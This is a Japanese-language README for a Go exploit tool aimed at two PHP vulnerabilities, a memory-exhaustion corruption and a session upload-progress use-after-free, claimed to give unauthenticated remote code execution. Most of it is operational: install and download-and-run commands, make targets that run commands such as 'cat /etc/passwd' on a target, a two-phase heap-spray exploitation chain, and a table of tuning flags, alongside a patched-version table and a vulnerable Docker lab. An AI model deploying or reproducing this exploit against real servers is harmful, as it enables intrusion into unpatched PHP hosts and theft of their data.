
[PHP2Shell] CVE-2026-109618 / CVE-2026-109619 の Golang エクスプロイト: OOM 破壊 + session.upload_progress UAF を悪用した PHP 5.4~8.5.11 の未認証 RCE
PHP 5.4.0 – 8.5.11(すべてのWebサーバー)における未認証のリモートコード実行。
CVSS 9.2 クリティカル · 2026-10-21 に修正済み · CISA KEV 2026-10-26
許可されたセキュリティテスト専用 — 自身が所有するシステム、またはテストの明示的な書面による許可を得ているシステムに対してのみ使用してください。
go install(最速、Go 1.22+ が必要)go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"
Goがインストールされていませんか?30秒でインストールできます:
# Debian / Ubuntu / Kali
sudo apt install -y golang-go
# then run go install as above
ビルド済みバイナリは、すべての GitHub Release に添付されています。
# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# Linux ARM64
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Apple Silicon
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Intel
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
新しいタグがプッシュされると、バイナリは GitHub Actions によって自動的にビルドされます。
curlが「Not found」と書かれた小さなファイルを返す場合、リリースはまだ存在しません — 代わりにオプション A を使用してください。
git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit
make all # start lab + run exploit in one shot
make exploit # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"
PHPには、細工された multipart/form-data HTTP POSTリクエストによって引き起こされる2つの重大なメモリ安全性の脆弱性があります:
| CVE | 種類 | トリガー |
|---|---|---|
| CVE-2026-109618 | メモリ破壊 (OOM) | 大きなmultipartフィールドがパース中に memory_limit を枯渇させ、部分的に初期化された状態で longjmp() が発火する |
| CVE-2026-109619 | Use-after-free | PHP_SESSION_UPLOAD_PROGRESS フィールドが、前のリクエストで解放されたワーカーメモリを読み取る |
どちらのバグも、ログイン、特別なエンドポイント、アプリケーションコードを必要としません — これらは いずれかの .php スクリプトが実行される前に、PHPエンジン内部で 発火します。
注釈付きHTTPリクエストを含む完全な技術的詳細については、docs/vulnerability.md を参照してください。
Phase 1 (CVE-2026-109618)
Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
→ worker's internal session/decoder state freed but NOT zeroed
→ stale pointers remain in the PHP worker heap
same worker process ↓
Phase 2 (CVE-2026-109619)
POST with Cookie: PHPSESSID=<random>
+ PHP_SESSION_UPLOAD_PROGRESS field ← fires before any app code
+ 128 KB file upload (fake PHP zval structs)
→ upload progress handler dereferences stale pointer → UAF
→ heap spray reclaims freed region → controlled write → RCE
| フラグ | デフォルト | 説明 |
|---|---|---|
-target | 必須 | ベースURL(例: http://192.168.1.10) |
-path | /index.php | PHPエンドポイントのパス |
-cmd | id | 実行するOSコマンド |
-mode | auto | auto / modphp / fpm |
-workers | 8 | スプレーするワーカースロット数 |
-oom-parts | 30 | フェーズ1のマルチパートフィールド数 |
-part-size | 204800 | フィールドあたりのバイト数(200 KB) |
-spray-size | 131072 | ヒープスプレーサイズ(128 KB) |
-timeout | 15s | リクエストごとのタイムアウト |
-verbose | false | 生のレスポンスボディを出力 |
-leak-only | false | メモリリークのみ(ASLR解析) |
| ブランチ | 最後の脆弱バージョン | 修正済み |
|---|---|---|
| PHP 8.2 | 8.2.34 | 8.2.35 |
| PHP 8.3 | 8.3.35 | 8.3.36 |
| PHP 8.4 | 8.4.26 | 8.4.27 |
| PHP 8.5 | 8.5.11 | 8.5.12 |
| PHP ≤ 8.1 | すべて | アップストリームのパッチなし — ディストロのバックポートを使用 |
sandbox/ ディレクトリには、両方のCVEを露呈するデフォルト設定の、すぐに使える脆弱なターゲット(PHP 8.4.26 + Apache mod_php)が含まれています。
cd sandbox
docker compose up -d # starts on :8888
open http://localhost:8888 # attack surface dashboard
docker compose down
make show all commands
make all start lab + run exploit (one shot)
make lab start Docker lab
make lab-stop stop Docker lab
make lab-logs tail Apache/PHP error logs live
make lab-shell open bash inside the container
make exploit build & run against lab
make exploit-fpm FPM mode, 16 workers
make leak memory leak mode (ASLR analysis)
make build build binary only